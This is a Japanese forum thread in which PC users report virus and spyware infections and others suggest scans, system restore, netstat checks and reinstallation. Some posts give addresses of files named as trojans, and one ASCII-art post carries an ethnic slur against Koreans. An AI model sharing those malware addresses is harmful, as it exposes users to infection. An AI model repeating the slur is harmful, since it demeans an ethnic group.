　tp://www.jah.ne.jp/~kako/
　tp://www.jah.ne.jp/~kako/frame_dwm_search.html
　tp://www.generic.gr.jp/index_sr.php
　tp://health.yahoo.co.jp/medicine/
【これまでにとった措置】
　Donutを終了させ(タスクマネージャーから強制終了)マカフィーのウイルススキャンをONにして
　Donutを起動し、再現することを確認。
　Donut_Lで再現することを確認、IEでは再現しないことを確認。
　Windowsのファイアウォールを見て（ここは普段あまり見ないのですが）
　印象として[Windows Media Connect]が６個、例外指定されているのが
　以前と違うと思いました。
　ウイルスバスターのオンラインスキャン中にマカフィーがトロイの木馬を検出しました。
　http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3427.gif
　http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3428.gif
【その他の質問】
1) オンラインスキャン中に(Webｻｲﾄは見ていない状態)トロイを検出したということは
　　バックドア（！？）なるものが形成されてしまっているのでしょうか？
その対処は？
2)ファイアウォールの[Windows Media Connect]の例外指定は外したほうがよいでしょうか。

windowsアップデート（重要な項目は直ぐアップデートしてたので）
今日は緊急性の低いものをまとめてアップデートしました。
そのときのStartupScannerというソフトで検出した起動時ﾌﾟﾛｸﾞﾗﾑ/サービスの
図です。
起動直後のスキャン結果
ttp://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3430.gif
ttp://erotyabin.gotdns.com/user/erotyabin/cgi/uproda/img/upsf002851.gif
再スキャンしてみた
http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3431.gif
http://erotyabin.gotdns.com/user/erotyabin/cgi/uproda/img/upsf002852.gif

質問です。
とあるエッチサイトを見ていたら
いつのまにか「Nclean」というフォルダが
プログラムファイル内に出来ており（勝手にダウンロードされた？）
フォルダ内に「Ncclean.exe」や「POPNclean.exe」
というファイルなどが作られていたほか、たまに
勝手に何かのデータをアップデートしようと
デスクトップ上で機動してしまいます（そのたびにＬＡＮを
引き抜いています）。ウイルスバスターを常にアップロードしており
ウイルス検索でも特に反応は無かったのですが
削除も出来ず、困っています。
どなたか教えて頂けませんでしょうか。

>>354
パソコン初心者＠2ch掲示板
http://pc7.2ch.net/pcqa/
エロサイトを見たら…助けてください！Part61
http://pc7.2ch.net/test/read.cgi/pcqa/1141370819/

ad-awreでスキャンを行ったら　「なまえ@adserver[1].txt」というクッキーが
クリティカルとしてヒットした。（なまえ：アカウント名）
中身はこんな感じでした。
「rsi_us_1000000

pUMF5k+g/xMULsQQ3nSG7ZIqtFc6dBco

中略　　

wSw34TFERQi

ads.revsci.net/adserver

1024

3273187072

32138368

2878408112

29788753

*」
これをad-awareで対処したあとはDonut,Donut_L共に正常動作してるようです。
で、>>351-352はどうでしょう？

age

トリップを漏らすようなウイルスってありますか？
もしくはトロイ等に感染するとトリップ漏れするような事はありえるのでしょうか？

トリップだけ狙うようなのは聞かないが
トロイの木馬にかかればすべて筒抜けなので
もれても別に不思議なことではない

てかなんでそんな心配するんだ？

専ブラの書き込みログを放流するトロイがあるので有り得なくは無い
専ブラによっては名前欄に何を書き込んだかログ内に保存しているものもある

あとはデスクトップのSS晒すタイプとか

age

age

ハゲ

なんだと(怒

ﾎｹ

>>352の
【その他の質問】
1) オンラインスキャン中に(Webｻｲﾄは見ていない状態)トロイを検出したということは
　　バックドア（！？）なるものが形成されてしまっているのでしょうか？
その対処は？
2)ファイアウォールの[Windows Media Connect]の例外指定は外したほうがよいでしょうか。

だけでもおしえてもらえないでしょうか？

>>367
そんなもん作られてないでしょ。
スキャンの時にその感染したファイルにアクセスしたから反応しただけでは？
それよりその検出したファイルは削除したんだよね？

てか>>351-353で無駄な事書きすぎ・・・ｗ

まあいわれてから情報小出しにするやつよりはなんぼかマシだろ

【使用OS】 Windows　XP
【WindowsUpdateしてるか】
SP1使ってます。updateの.exeもウィルスに感染したらしくここ1ヶ月のUpdateは出来てません
【AntiVirusは何を使っているか】
ウィルスバスター2004
【ちゃんとUpdateしてるか】
今年春にしました
【スキャンした結果（ウイルス名・発見場所）】
PE_PARITE.A-1とPE_PARITE.A
PE_PARITE.A-1はlocal settingsの中のTEMPに。
PE_PARITE.Aはほとんどのexe等に感染…
【症状を具体的に、分かる限りすべて書く】
PARITE.A-1のほうは2〜3個ほどしか感染していませんが、PARITE.Aはかなり感染が広がってる模様です・・色々なｻｲﾄで調べたのですが、PARITE.A-1のほうがウィルスバスターで駆除できませんと表示され、手動で削除しようとすると
アクセスできません。ファイルが使用中でないか確認してください
とでます。セーフモードなら削除できますが、通常のWindowにもどすと、再びウィルスファイルがあったり・・
【これまでにとった措置】
ウィルスバスターで検索、トレンドマイクロのHPにあるデータベースにのっていた措置
【その他の質問】
レジストリでキーの削除、セーフモードでのウィルスファイルの削除等やっていますが、無理でした・・

>>104　>>107
このサイト踏んでしまったが
avastでワーム検出のアラートでたぞ

>>370
うむ、手遅れだな
OSの再インストールを勧めよう

再インストール後はルータかますか、なんかファイアウォール入れた状態で
真っ先にWindowsUpdateへGo
それからアンチウイルスソフトのパターンが今年春なんてのは
ソフトつかってないのと大差ないぞ

SP1のサポート終わるのか

>>367
＞スキャンの時にその感染したファイルにアクセスしたから
ウイルスバスターのオンラインスキャンを実施中に
マカフィーが反応したのです。
＞それよりその検出したファイルは削除したんだよね？
　http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3428.gif
この文面ではマカフィーが削除したと言ってますね。（ソフトの日本語って信用できないですが）
このばあい私は何もしていません。

　http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3427.gif
どっちの文がただしいのやら・・・

>>374
いや、だからオンラインスキャンでスキャンするってことは
そのファイルにアクセス(表現は違うかもしれない)してんだからそれがウイルスなら反応するって。
僕もeTrustでオンラインスキャンすると反応するなーそういや

削除されててもう出てこないならその件に関しては問題ないでしょ

>>376
だったら、ウイルスバスターのオンラインスキャンの方でも反応してもよさそうなのに。
まぁそうゆうもんなのかな、どうもお付き合いありがとうございます。

P.S
マカフィーの出すメッセージは先に「削除しました」とかいておきながら、あとのメッセージで「削除が必要です」って、わけがわからなくなります。
windowｓで悪例ができてからソフト製品の日本語むちゃくちゃ。（企業はUIにコストかけないね）

質問です！！
最近googleの調子がおかしいのです。。。
検索結果から(例えばad awareと検索)そのページに飛ぼうとすると、
↓のような意味のわからないサイトに飛んでしまう事があります。
ttp://up-search.com/ad%20aware.cfm?nft=1&t=7&p=4
何回か飛びなおしをすれば目的のサイトにたどり着くのですが･･･
これは何かのウィルス、もしくはスパイウェアの仕業なのでしょうか??

セーフモードで起動&Ad awareで検索⇒削除、としたのですが直りませんでした･･･。
何か情報がありましたら教えてくださいm( __ __ )m

ブラウザハイジャカーかなー
HijackThisでも使って見てみれば？

>>370
親玉インストーラーファイルを検出されないように上手くやられているのさ
こいつを最初に削除しないと起動の度に感染させられる
発見方法は自動実行になっているサービスやプロセスを全部Spybot - Search & Destroyなどで自分で調べ上げればわかるでしょう
これはスキャンしたって引っかからないからな

CDイメージファイル（iso、bin、ccdなど）をスキャンできるウィルスソフトを教えてください

スキャンするイメージファイルの名前と入手経路をまず書いてください

ゲラゲラ

今携帯のみのためテンプレ通りでなくすません

OS WIN2000
アップデート 自動でしている
ウイルスソフト ウイルスバスター２００６
アップデート 自動でしている
オンラインスキャン　通信不可のため未実施
症状　C:\WINNT\SYSTEM32\rofl.sysがウイルスとして検出される、通信出来ない
実施項目 rofl.sysでぐぐり、トレンドマイクロのページに従いレジストリ変更、再立ち上げ実施、
質問 rofl.sysが削除出来ません。方法を教えて下さい。

あぼーん

ホントにバカですね＾＾

下のURLをクリックしてしまったら、「トロイの木馬を発見しました」と表示されました。
駆除、隔離、消去ができず、キャンセルを押してしまいました。
システムの復元をして、その後ウイルススキャンをしましたが
感染は見つかりませんでしたとなりました。
セキュリティーソフトはマカフィーです。
これはもう、ウイルスの心配は無いでしょうか？
どなた様かウイルスの駆除が必要な場合教えてください。


ここをクリックしたら「トロイの木馬を発見しました」と出ました。
ttp://www.hoyoo.net/test/ROHoyoo.exe
ここをクリックして問題が発生しても私は責任を取れませんので、
自己責任でお願いします。

すみませんテンプレ通りに書き直します。

【使用OS】 XP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 マカフィーです
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 なし
【別のオンラインスキャンしたならその結果は】 していません
【症状を具体的に、分かる限りすべて書く】 自覚症状なし
【何をしたらそんなことになったのか】 tp://www.hoyoo.net/test/ROHoyoo.exeをクリックしたら
「トロイの木馬を発見しました」となりました。
【これまでにとった措置】システム復元、ウイルススキャン
【その他の質問】 これはもう、ウイルスの心配は無いでしょうか？
どなた様かウイルスの駆除が必要な場合教えてください。
発見されたときには、ウイルス入りのフォルダ名が表示されていたのですか、
その後そのフォルダが消えていました。
どういうことでしょうか？

トロイの木馬発見って警告でてんだから駆除できてるでしょ？
何のためのセキュリティーソフトなのよ

駆除、隔離、消去ができなかったんです。
手動で行ってくださいと出ました。
その後、キャンセルし再びウイルススキャンをしたのですが、
見つからず・・・

でも実行してないんでしょー
だったら問題ないし。
そもそもダウンロードをマカフィーが止めた気がするんだけどね

そうです、クリックしたらウイルス「発見」と表示されました。
ダウンロードを実行する前にマカフィーが止めてくれたんですね？

たとえダウンロードして実行しようとしてもマカフィーが止めてくれます
今の環境でそれが動く事はないのー
PC内でROHoyoo.exeを探してなければこの件は終了でイイかと

本当にありがとうございます。
丁寧に教えていただき、誠に感謝です。
早速探してみますね。

オンラインスキャン、ファイル名指定での検索、共にROHoyoo.exeは見つかりませんでした。
本当にありがとうございました！

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ._) 　る　ま
　　　 (_　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 _) 　よ　っ
　馬　(_　　　　　　　　　　　　　,.-'"二ﾌ　　　　　　　　　　　　　　　 ._)　 こ　先
　鹿　(_. ______　　　　　　　　 / ／／´　　　　　　　　　　　　　　　　 _)　 い　に
　な　.(___ヽ､__｀ヽ.　　　　　　|　| /　　　　　　　　　　　　　　,.-‐-､　_)　 つ　釣
　朝　(_　｀＼ ヽ､!　　　 ____,/ / !_　　　　 ,.-─-､　　　 　/　　　 ,!. _)　 達　ら
　鮮　(_　　　｀ヽ ヽ､'' ´　 　i｡i.／ ｀ヽ､. /　　　 i　',__,,,,.....i i　　　 |　_).　 ! !　れ
　人　(_　　　　,｀>!｡/　　　｀´ 　 　　　 i　　　 /､_,!::::::::::::'-'､___,.ノ､ ._)　　　　て
　ね　(_　　　/　　 　　i　　　ヽ 　､　 　ヽ､__,./　　 ;::::i::::;:::;:　　:;::::::ヽ.)
.　! !　(_ 　　,' 　 / _ !,ハ　ﾊ,.ニ!､ iヽ! 　 !,.ｲ::::/:::::ﾚ::ハ:!､!__,.ﾊ::ル:::::',^Ｙ^Ｙ^Ｙ^
　　　 (_ 　　i　　.i. ,!-!､::Ｖ::´ﾄ　! }ﾊ　!､ 　ﾚ::::::ﾚ:'r‐'i´　ﾚ',!'-'､。o:::::::::ヽ　×
Ｙ^Ｙ^Ｙ.× ｲ　i　ﾊi ﾄ_!::::::::::::'ｰ'ﾞ　　Vi　　 ﾊ::o。!'⌒　　　　 " ﾊ::::ﾊ::::,.-'､　×
　 　 　 　 　レﾍ 7,,　　　　　　　""i　|　i 　゜i:::::7"　 i'￣｀i 　/:::!::::::::/ ＠i
　 　 　 　 ×　 !人　　　-‐ '　 　 人/　ﾊ　ｲ:::人 　 ヽ　ノ　 !::::ﾊ::::/　　/､
　　　　　　　　/ .ﾍ｀ヽ､_____,,..　／/ﾄｰ-'､!　V::ﾊ::ｰ-r‐='T´V,.ｲ 　ｰ､/｀ヽ
　　　　　　　　ﾚ´ i ヽ､ ／i／/／_」::::::/:::ヽ.　! 　｀　,.く,.〈〉､_,.イ ヽ､___ノ､/ﾉ
　　　　　　　　　　!　.!／ﾍ,.-'─､､;;;;____:::::::ヽ. |.　 r〈　! 　　　　ヽ､___二ﾝ
　　　　　　　　　 /　/7:Y/ ,　　　l |:oo::::::｀ヽ::i |　 7ヽｲ__,.'-っ､　　〈　,,..
　　　　　　　　　/／::::i:〈iゝi､_!__r//:::::::::::::::::ﾝ ﾉ　〈 ￣　　　　ノ　､　｀ヽ ゛
　　　　　　　　／::::::::/:::::Y:::::::::ゝ'─r--‐-i´ｲ　　　｀ｰ7''"￣´　　 ヽ

パソコンの画面に、精子かけるとウィルス駆除できるってホント？

>>397
試しにやってみたら？

射精したあとの虚しさでモニター拭きながら死にたくなると思うよ、きっと

死にたくなりますた＿|￣|○

>>400
やったのかよｗ
400ゲトおめこｗｗ

ものすごくあせっています！どなたか教えてください！
パソコンを立ち上げたら画面がしましまになってきて薄くなって
最後にはデスクトップも何も見えず、じわ〜っとした画面になってしまいました。
怖くなって電源を落とし、もう一度電源を入れてみたら灰色一色で
周りが黒くじわじわしています。

Windows XPで、ウイルス対策ソフトは期限切れでした。
数日前outlookexpressでメールの中に感染したソフトを発見した
とか削除しましたというようなメッセージが出ていたのですが、
そのままにしていました。

画面に何も出ないってもう修復不可能なのでしょうか。。。
以上の情報で何かわかりますでしょうか。
全く知識もないもんで誰か助けてください！！！

慌てず>>1のテンプラを

>>387
バスターで TSPY_LINEAGE.TX と出る。

>>402
もうPCが立ち上がらないって事かな？セーフモードは無理？
本当はウイルスとかから開放されるにはリカバリが一番てっとり早いんだけど、立ち上げても何も起動しない様なら素直にPC購入した所で復旧作業行った方が早いかもしれないよ。

>402
セーフモードが駄目であっても、セーフモードとコマンドプロンプトなら、
もしかして起動できるかも知れないから、それで起動できたら、
↓のコマンド入力して「Enter」

%systemroot%\system32\restore\rstrui.exe
（システムの復元で復旧）
だめなら、リカバリです。

【使用OS】
　winXP
【WindowsUpdateしてるか】
　最近はしていませんでした
【AntiVirusは何を使っているか】
　avast!
【ちゃんとUpdateしてるか】
　はい
【スキャンした結果（ウイルス名・発見場所）】
トロイの木馬とスパイウェアを発見しました。
・Win32:Spyware-gen.[Trj]
　 C\PROGRA~1\NEWDOT~1\NEWDOT~2.DLL
　 C\Program Files\NewDotNet\newdotnet7_22.dll
・Win32:Adware-gen.[Adw]
　 C\Program Files\NewDotNet\uninstall7_22.dll
・C\WINDOWS\system32\hlwin.dll
【別のオンラインスキャンしたならその結果は】
　削除or何もしない、の二択しか出来ない
【症状を具体的に、分かる限りすべて書く】
　・ネットが繋がらない
　(LAN使用、回線に繋がったというバルーンは出るが実際は繋がらない)
　・ファイアウォールが無効
　（セキュリティーセンター、コントロールパネルから試したけれども有効に出来ませんでした）
【何をしたらそんなことになったのか】
　起動した時
【これまでにとった措置】
　感染したファイルを一回削除してしまいました。
　ファイルを復元してみましたが、症状は変わりません。

>>407
このへんかなぁ
駆除ツールあるみたいだし物は試し
ttp://www.trendmicro.co.jp/vinfo/grayware/ve_graywareDetails.asp?GNAME=ADW%5FNDOTNET%2EO

それからWindowsUpdateにはいって来い

ありがとうございます。

そのページに書かれたファイルがインストールされていました。
削除手順に従って処理をしてみましたが
いくつかファイルは検出されたものの、「ADW_NDOTNET.O」は見つかりませんでした。
一応隔離処理はしました。

未だにファイアウォール無効、ネットに繋がらなかったりと、
症状は直っておりませんがこれについてはスレ違いとなってしまうでしょうか。

>>407
私も今日同じような症状になりました。感染したファイル名も同じでAvast使ってます。
もしかしたらAvastがいけないのでしょうか？

【使用OS】 WindowsXP
【WindowsUpdateしてるか】 春ごろやりました
【AntiVirusは何を使っているか】 Norton AntiVirus 2005
【ちゃんとUpdateしてるか】 ウィルス定義 2006/06/07
【スキャンした結果（ウイルス名・発見場所）】
昨日スキャンした所、VBS.Freelink.Bに感染していると出て
　ファイル削除しましたと出ました
　その後３回スキャンしましたが何も反応はありません
【別のオンラインスキャンしたならその結果は】
C:\Documents and Settings\ton\Local Settings\Temporary
Internet Files\Content.IE5\4FD3UUBT\1150005307[1].htm は　
VBS.Freelink.B に感染しています。
【症状を具体的に、分かる限りすべて書く】 特に症状はないです
【何をしたらそんなことになったのか】 どこかのブログか日記で感染したらしいですorz
【これまでにとった措置】 何もしてません、システム復元もやっていません
【その他の質問】 ドキュメント内というのはわかるのですが
　どこをどう探していいのか見当つきません
　削除の仕方ご指南頂けないでしょうか
　よろしくお願いします

>>411
\Content.IE5はエクスプローラで表示できると思ったけど…

インターネットのプロパティ→全般→ファイルの削除

>>412
削除後、ノートンとオンラインチェックした所
安全！と出ました、ありがとうございます、助かりました

海外のエロサイトに行ったら、いきなり新種のブラックワームだとかに感染してるから、
無料スキャンしろだとかやたら出たけど、怪しすぎだよな？

>>414
たぶんこれ
WinAntiVirus Pro 2006
つttp://pc8.2ch.net/test/read.cgi/sec/1143972325/

>>415
おお、ご苦労様です。
とりあえず既にwindowsに搭載されてるスキャンの方でウィルス検索やってます。
例のサイトには入っただけなのであまり心配してないけど、一応スパイボットもやっときます。

http://blog.lucanian.net/archives/data/20060415-03.gif
この画像と全く同じやつだった。怪しすぎるから…

>>416
最初にSpybotやるとレジストリにゴミが残るよ
ttp://hjdb.higaitaisaku.com/database.cgi?cmd=dp&num=467

>>418
例のやつは怪しいかったのでダウンロードしてなかったし、
ウィルススキャン(標準搭載のを最新にした)→Spybotという順番でやってウィルス、スパイウェアがゼロだったので、
無事に終わったところです。お手数お掛けしました。
あとでレジストリのゴミとかいうのも検索しときます。

bootconf.exeってのがあったんだけど、これってまずい？
mcafeeのオンラインスキャンかけたらなにもHitしなかったんだけど

　　　　　　_______　　　　　　　　　　　　　　　　　　　　　_＿
　　　　／／￣~`i ゝ　　　　　　　　　　　　　　　 　 　 `l |
　　　 / /　　　　　　　 ,______　　　,_____　　　　________　 | |　　____　TM
　　　|　|　　 　 ＿__　//￣ヽヽ　//￣ヽヽ　（（￣）） 　 | |　//￣_>>
　　　＼ヽ、　　 ｜l　| |　 　 | |　| |　 　 | |　　``( (.　　.| |　| | ~~
　　　 　 `、二===-'　 ` ===' '　　` ===' '　 //￣ヽヽ　|__ゝ ヽ二=''
　　　　　　　　　　　　　　　　　　　　　　 　 ヽヽ___//　　　日本
　　＿＿＿＿＿　＿＿＿＿＿　 ＿＿＿＿＿_ 　＿_＿＿＿＿＿
　　|　 ウェブ 　|　|　イメージ　|　|　グループ　|　|　ディレクトリ　|
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　 .＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　｜bootconf.exe.　　　　 　　　　　　　　　　　│・検索オプション
　　　　　　└────────────────┘・表示設定
　　　　　　　 　| Google検索　|　I'm Feeling Lucky　|　　・言語ツール
　　　　　　　　 ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　　○ウェブ全体から検索 ◎日本語のページを検索

>>421
ぐぐって、bootconf.exeの中身見てみたんだが
%SystemRoot%\SYSTEM32\CONFIG.NT
%SystemRoot%\SYSTEM32\AUTOEXEC.NT
って書いてあるんだけど、上2個を使ってMS-DOSのプログラムを走らせるって感じ？
いまいちわからない･･･
とりあえずzipで固めて、0バイトノ同名ファイルおいておいたんだけど･･･

age

\All Users\Application Data\Microsoft\PlugIn に開いた映画やテキストファイルなどが勝手に保存されてるけど、
ウィルスかスパイウェアっぽいよね・・・
ちなみにウィルス対策はノートン先生使ってるし、スパイウェア対策もSpybot1.4やオンラインスキャンとかしたけど、
なにも見つからんかった・・・_|￣|○

どうなってんだ・・・(´・ω・｀)

映画ってか自分って作った動画ね(´・ω・｀)

【使用OS】 WindowsXP
【WindowsUpdateしてるか】 自動更新
【AntiVirusは何を使っているか】 マカフィーの勝手に更新するやつ
【ちゃんとUpdateしてるか】 一応最新　
【スキャンした結果（ウイルス名・発見場所）】 ネットしてたら右下にウィルス検出しました。ってでた
VBS.LoveLetter　にアルファベットがついてたんですけど画面を消してしまって
追い方がわかりませんでした。場所も不明。。
【症状を具体的に、分かる限りすべて書く】 無線ＲＵＮが突然切れたり、電波をキャッチ
しない。つなぎ直すと、回線は回復するが、右下のアイコンには×印がついてる
【何をしたらそんなことになったのか】 不明。パソコン立ち上げ時におかしくなった
【これまでにとった措置】 削除不可能と出てたが、ヘルプ等をみてたら削除できるようになってた
【その他の質問】 ファイル削除はしたんですが、相変わらず途中で回線が切断されて
しまいます。ウィルスが残ってるのか、初期化しか回復方法がないのか教えてほしいです。
あと、感染ルートがわかりません。どこかに感染源はメールからとあったのですが
大手企業のお知らせ程度にしか使ってません。

>>426
顔洗って出直してくれ。

>>424
>\Application Data

>>426
恋文はメール感染onlyでブラウザ経由はない
よってそれはマカフィーの誤検出
したがって無線LANの現象と検出された代物に関係はない

>>428
それがどのアプリケーションかがわからないんですよ(;´Д`)

ヤフーのメルアドに最近よくウィルス付きのメールがよく届き
気味がわるいです。どうも、ドメインがOCNっぽいところから届くんですが
アドレスが毎回変わります。しかし、添付ファイルはいつも一緒です。
日本からなので知っている奴からの嫌がらせなのかと思ってしまいます。
また、自分が使っているのメルアド、仕事の自分のメルアドからも
送っていないウィルス付きのメールが届くようになりました。
対処法はありますでしょうか?

送られてきたメールの詳細ヘッドです。

X-Apparently-To: ******@******co.jp via 2**.*3.**.7*; Wed, 14 Jun 2006 08:51:59 +0900
X-YahooFilteredBulk: 1**.2**.**0.**7
Authentication-Results: m***1.mail.***.yahoo.co.jp from=p0031.ocn.ne.jp; domainkeys=neutral (no sig)
X-Originating-IP: [1**.2**.**0.**7 ]
Return-Path: <[email protected]>
Received: from 1**.2**.**0.**7 (EHLO yahoo.co.jp) (1**.2**.**0.**7 ) by m****1.mail.***.****.co.jp with SMTP; Wed, 14 Jun 2006 08:51:59 +0900
From: [email protected] アドレスブックに追加
To: i*****@*****.co.jp
Subject: Re: Approved
Date: Wed, 14 Jun 2006 08:54:29 +0900
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_00007A6D.000074E5"
X-Priority: 3
X-MSMail-Priority: Normal
Content-Length: 17119

勝手に何回も再起動させられ途方に暮れてます。セーフモードでシステムの復元をしても同じ現象が起き、大変困ってますorz
恐らくLimewireで感染したウイルスの仕業ぽいんですよね…解決方法など知っている方助けてください;

>>432
>>1

>>433
スマナス

windowsXP

AVG

updateは行っていなかった。

スキャン出来ずに再起動されます。

P2P関連のウィルスは、Download板に専門スレッドがあります。

>>434
テンプレ

>>434
プロセスにmsblast.exeがあるか確認。

>>434
Netに繋ぐな！っつーんだよ。ﾊﾞｧｰﾛｰ

んで、リカバリしてよね　　イャン

おまい人生大丈夫かぁ？

>>438
わかりました

>>437

ありませんでした…orz

独自で調べてみていろいろとしてみた所マシになりましたが、IEを使うとすぐ再起動されます。
AVGで駆除しようとしても、途中で再起動させられるといった状況です。
あと、MSNメッセンジャーは問題なく起動できました＞＜

クリーンインスコ

>>442
↓を使ってみてはどう？
トレンドマイクロシステムクリーナー
ttp://www.trendmicro.co.jp/download/tsc.asp

>>444
インターネットを使うとすぐ再起動させられてページさえ見れないですorz

>>445
↓が直リンだけど、飛べる？
ttp://www.trendmicro.com/ftp/products/tsc/tsc.zip

あと、症状の追加で青い画面がでます。
上二行には　A problem has been detected and windows has been shut downto prevent damage to your computer.
とでてます。

>>446
ここへの書き込み観覧は携帯から行ってます。
携帯からは見れませんでした。
PCからだと2ちゃんに行く前に再起動になります。
IE自体使えない状況ですね…orz

【使用OS】 ＷＩＮ　ＸＰ　ＳＰ２
【WindowsUpdateしてるか】 ＹＥＳ
【AntiVirusは何を使っているか】 ＡＶＥＳＴ最新
【ちゃんとUpdateしてるか】 ＹＥＳ
【スキャンした結果（ウイルス名・発見場所）】 出来ない状態
【別のオンラインスキャンしたならその結果は】 同上
【症状を具体的に、分かる限りすべて書く】 キーボードの「Ｅ」を押すと、スタンバイ状態になるなど。他にも、何らかの操作でシャットダウンになる模様。ログオン時のパスワードに「Ｅ」を使うので、ログオンすら出来ない。現在別のＰＣで書込み中。
【何をしたらそんなことになったのか】 事前に落とした漫画を読んでいた。その後「アトリエかぐや」でぐぐろうとしたら「え」の部分でスタンバイ状態に入る。
【これまでにとった措置】 強制終了や、キーボードの取り外し等を行うが、効果無し。現在シャットダウン中。
【その他の質問】

よろしくお願いします。
何も出来ない状態です。お願いします。助けてください。

>>448
普通にフォルダから446のアドレスを打込んで飛んでもダメ？
（ファイル名を指定して実行で打込んでも可）

>>450
飛べました。

しかしページに飛んで1分ぐらいで再起動させられます。

症状追加。
スタート画面からのすべてのプログラムにカーソルをあわすと再起動

>>453
ちゃんとテンプレ使って質問して。
情報を小出しにしてもハッキリわからんよ。

ダメもとで
ttp://support.microsoft.com/default.aspx?scid=kb;ja;885627
アドウェア T.V. Media プログラム削除ツール
やってみたら？

>>453
MSNメッセンジャーでログインできて、通常の機能を使えるのなら、
ちょっと救いがありそうですが、
基本的に貴重なデータのバックアップをし、
OSのインストールし直しを考えた方が賢明と思います。
クリーンな環境からセキュリティを固めてください。
念のため、PCのハード的な環境（熱対策etc）も
あわせて確認しておくのもいいです。

>>453
セーフモードやってみた？

>>456
セーフモードで試してみましたが同じ症状がでます。

>>457ファイル名を指定して実行から　
　　　　　sfc/scannow
やってみて、ダメなら再インスコしたほうがいい

>>458

sfc/scaanowが見つかりません。
と出ました。

>>459
スラッシュの前に半角スペースがいる

>>460
黒っぽい画面が一瞬だけでました。
すぐ消えてしまいますね…

>459と>461って>432の人やね？

>>462
そうです。

>463
しかし、Limewireで感染って…（ファイル交換ソフトは止めといたほうが良いぜ）
正確にいうと、Limewireで落としたファイル（アイコンが偽装されたEXEファイルを
うっかり）開いて、その直後に>432の症状ってこと？

>>464
実際Limewireで感染したかどうかもわからないんですよ…orz
思い当たる物はLlimewireぐらいしかなかったんで…
エロサイトなんて見ませんし…

症状が出始めたのはネトゲの最中でした。

>465
症状見るとかなり深刻だね。
もう思い切ってリカバリ（PCを購入時の状態に戻す）をやってみたら？
それか、イチかバチかで【セーフモードとコマンドプロンプト】で起動して、
システムの復元をもう一度試してみるとか？

システムの復元のパス名は、
%systemroot%\system32\restore\rstrui.exe

>>463
ネット環境はどんな感じ？

C:\Documents and Settings\Owner\Local Settings\Temp\start.exe 2.10KB
何度消しても出てきて作動します
通信しようとするのでZAで止めています
AVGでスキャンしてもウイルスは見つかりませんでした
バスターオンラインスキャンは許可されてませんとか出て使えません　
危険なものなのでしょうか

>>467
もう一度復元してみます。
>>468
ネット環境は光です。

>469
432と同じ人？

>>471
別人です。

>>470
コマンドプロンプトで netstat -a -n　打って
変な接続許してないか確認するのもムダではないかも。
いずれにしろ、リカバリ推奨だね。

>472
別人か、ID無いからわからなくて…

（そっか…この板IDが無いんだ）

>>473
リカバリするにはディスクが必要みたいなんですがそれが見当たらないんで無くしたかもしれないですね。
もう諦めるしかないのか…orz

>475
もうちょっと粘ってみては？
てか、「セーフモードとコマンドプロンプト」でのシステムの復元は駄目だったのか？

>>473あとコマンドプロンプトについてよければkwskお願いします…

>>476
やってみます。

してみましたがcmd.exeという画面がでて真っ黒いままです…orz

>479
cmd.exeこそが「コマンドプロンプト」だ。
explorer.exeを起動させない起動方法だからな。
驚くのも無理は無いかも。

画面に↓の表示は出てるか?

c:\>

>>477
ネットを完全に切った状態でも同じ現象ですか？
もしそうだったら、トロイで遠隔操作されている可能性が薄れます。
netstatは怪しい接続を許してないか確かめる手段の一つです。

>>480
C:\Documents and Setting\自分の名前がでてます。
>>481
ネット繋いでないと症状はでなかったと思います。
遠隔操作ですか(((゜д゜;)))ｶﾞｸﾌﾞﾙ

>482
＞C:\Documents and Setting\自分の名前がでてます。
そしたら、
C:\Documents and Setting\ﾕｰｻﾞｰ名\の表示のあとに、

cd /c:\と入力して、enter押して。
そうすれば、c:\>と表示されるから。

>>481
netstat -a -nと入れた所
Active Connections
Proto Local Address Fogeign Address State
とでました

（待てよ？）
>482さん、今「セーフモードとコマンドプロンプト」で起動してるんですよね。

>>483
cd /c:\と入れた所、ファイル名、ディレクトリ名、またはボリュームラベルの構文が間違っています。とでました。

>>485はい。

>486
/は要らなかった.

便乗質問ですが、
どのプログラムがどのポートを使っているのわかるソフトとかありますか？

>>488
C:\>がでました。

>490
じゃあ、このC:\>の表示のあとに続けて、以下のコマンドを入力して、Enter
%systemroot%\system32\restore\rstrui.exe

>>491
システム復元の画面がでました＞＜

>492
あとはもう分かってるよね。
もう一度、症状が出る前の正常な復元ポイントを選んで「復元」

>>493
復元中…
丁寧な説明有難う御座います。
これで治ってくれれば幸いです…

>>484
Foreign Addressがその外からの来訪者です。
この列の下にざーと出てくるのです。
192.168.0.*や127.0.0.1以外のローカルでない番号で、
見覚えのない番号があって最後が:80（port80番webサイトをみてると開く）
でないのは注意してみなければなりません。
LISTENは待ち受け状態。
ESTABLISHEDは接続確立です。

リカバリーしても駆除できないウイルス
http://pc8.2ch.net/test/read.cgi/sec/1150381139/l50

遅かった…orz。
うまく復活できればいいですね。

復元に失敗しましたとでたんで、もう一度してみます。

>498
失敗か、やはりリカバリするべきかな。

Temporary Internet Filesでhttp://dnv-counter.com/trf/start.exe
とうところからで　トロイらしいのですが駆除の仕方がわかりません
ググルとホモのち○こが出てきますた orz

直リンすると怒られるぞw

すみません　m(_ _)m　キモイです

てか、p2pがらみはdownloa板でやってくれないかな>432
>1にも書いてあるんだけど見えないのか？
>Winny、P2P関連のウィルスは、Download板に専門スレッドがあります。

http://www.uploda.org/uporg418616.jpg.html

このsetup.exeがなんだかわかりません。
のぞいた瞬間、消えてしまいました。
アイコンしか情報が残っていません。
情報求む。

Tempファイルとか一時ファイルを全部消したりしてるうちになんとなく出なくなりますた
お騒がせしますた

>>500
バスター反応。「TROJ_DLOADER.AXT」

>p2pがらみはdownloa板でやってくれないかな
前から思ってたんだけど、
そもそもこの線引きを明確にする意義ってあるの？

